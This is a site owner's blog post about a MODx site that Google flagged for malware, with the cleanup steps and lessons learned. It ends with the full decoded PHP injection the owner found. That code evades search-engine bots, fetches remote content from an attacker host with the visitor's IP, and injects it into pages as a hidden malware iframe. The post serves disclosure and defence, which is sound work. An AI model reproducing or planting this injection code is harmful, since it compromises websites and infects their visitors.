So deferredprocrastination.co.uk got blocked by google last week, it was flagged as a malware site by google safebrowsing. My initial thought was that it was a false positive — as I’ve never put any malware on my site and the site appeared to be running normally ­— so I was more than a little surprised to be flagged up.

Fortunately, I seemed to catch the malware flag almost as soon as it was raised, so at least I was aware that this site was effectively unreachable as of lunchtime Wednesday, and didn’t have to wait the 7 hours or so before Google’s page testing was complete, and when they sent an email to the site’s administrator address.

My first lesson: if you’ve been flagged by google as having malware, you are hosting malware.

It’s not a recommendation by a human visitor, it’s because when google’s testing bot visited your site, it received some malware. However, that doesn’t mean it will be easy to find.

It took me a few of hours of web searching and then greping to find what had triggered the warning; a couple of pieces of eval‘ed, base64_decode‘d code had been inserted at the bottom of two of two php files. The decoded php is at the bottom of this post, but the general gist is that it makes a call to another site (hostads .cn) and inserts any retrieved code into a page at the time it is generated. When google visited, it was an invisible iframe that loaded malware from a third website ( trolol .cx .cc).

My second lesson: close the door.

So, how did I receive this gifted code? It’s almost certainly through a known exploit of MODx (Evolution, 1.0.4 and prior), where the arbitrary filesystem access has allowed the attacker to add php code in MODx. As I was running a MODx install that had not been promptly updated, I had a version that was vulnerable and fell prey to what is quite likely an automated attack.

Lesson 3: It takes about 24 hours from the time you submit a request for google to re-test the site, before they will have finished.


Sources: google.com - support - webmasters redleg from his own site, and his responses in google’s forums 25yearsofprogramming - Remove the warning from your website’s listings in Google search results oliverfisher - Cross-Site Warnings MODx Evolution Security Warnings

I’m particularly posting on this topic because of the suggestion that “silence over hacked websites only helps the hacker”: redleg-redleg.blogspot.com - So just who is hackers best friend?


Added code, fully base64 decoded, and html escaped (remote url is also space escaped):

<code class="block">if(function_exists("ob_start") && !function_exists("mlge_ajh") && !function_exists("mqw_juew") && !function_exists("ppjb_ijucl") && !isset($GLOBALS["b"]) && @strpos(strtolower($_SERVER["HTTP_USER_AGENT"]),"googlebot") === false && @strpos(strtolower($_SERVER["HTTP_USER_AGENT"]),"msnbot") === false && @strpos(strtolower($_SERVER["HTTP_USER_AGENT"]),"yahoo") === false && !isset($_COOKIE["alzu"]) ){$GLOBALS["b"] = 1;setcookie("alzu", 1, time()+3600*24*2, "/");            function mqw_juew($gzencode_arg)
                {
                    $x = @ord(@substr($gzencode_arg, 3, 1));
                    $shift = 10;
                    $shift2 = 0;
                    if( $x&4 )
                    {
                        $unpack=@unpack("v", substr($gzencode_arg, 10, 2));
                        $unpack=$unpack[1]; $shift+= 2 + $unpack;
                    }
                    if( $x&8 )
                    {
                        $shift = @strpos($gzencode_arg, chr(0), $shift) + 1;
                    }
                    if( $x&16 )
                    {
                        $shift = @strpos($gzencode_arg, chr(0), $shift) + 1;
                    }
                    if( $x&2 )
                    {
                        $shift += 2;
                    }
                    $gzip = @gzinflate(@substr($gzencode_arg, $shift));
                    if($gzip === FALSE)
                    {
                        $gzip = $gzencode_arg;
                    }
                    return $gzip;
                }

    function ppjb_ijucl( $url ) {

/*      if (function_exists("curl_init"))
        {
          $ch = curl_init($url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_TIMEOUT, 5);
            $curl_result = curl_exec ($ch);
            curl_close($ch);
            if ($curl_result) return $curl_result;
        }

        if (@ini_get("allow_url_fopen"))
        {
            $file_result = @file_get_contents($url);
            if ($file_result) return $file_result;
        }   */

        $url_info = parse_url($url);
        $query  = "GET $url HTTP/1.0\r\n";
        $query .= "Host: " . $url_info["host"] . "\r\n";
        $query .= "Connection: Close\r\n\r\n";
        $fp = @fsockopen($url_info["host"], 80, $errno, $errstr, 5);
        if (!$fp) return false;
        @fputs($fp, $query);
        @socket_set_timeout ($fp, 5, 0);
        $s_retcode = @substr (@fgets ($fp, 4096), 9, 3);
        if ($s_retcode{0} <> "2") {return FALSE;}
        while (! @feof ($fp))
        {
            if ("\r\n" === @fgets ($fp, 4096)) {break;}
        }
        $socket_result = "";
        while (! @feof ($fp)) {
            $socket_result .= @fgets ($fp, 4096);
        }
        @fclose($fp);
        if ($socket_result) return $socket_result;
    }
    function mlge_ajh($lgub){return preg_replace("#(</table>.*<td>|</table>|</div>[^<>]*<div[^<>]*>|</body>)#is", "$1" . jbamz_hzfa, mqw_juew($lgub), 1);
    }$jbamz_hzfa=ppjb_ijucl("http:// hostads .cn/ info .php" . "?i=" . $_SERVER["REMOTE_ADDR"]);@preg_match("#<open>(.*)</close>#", $jbamz_hzfa, $matches);$jbamz_hzfa= isset($matches[1]) ? $matches[1] : "";if ($jbamz_hzfa) {define("jbamz_hzfa",$jbamz_hzfa); ob_start("mlge_ajh");}}</code>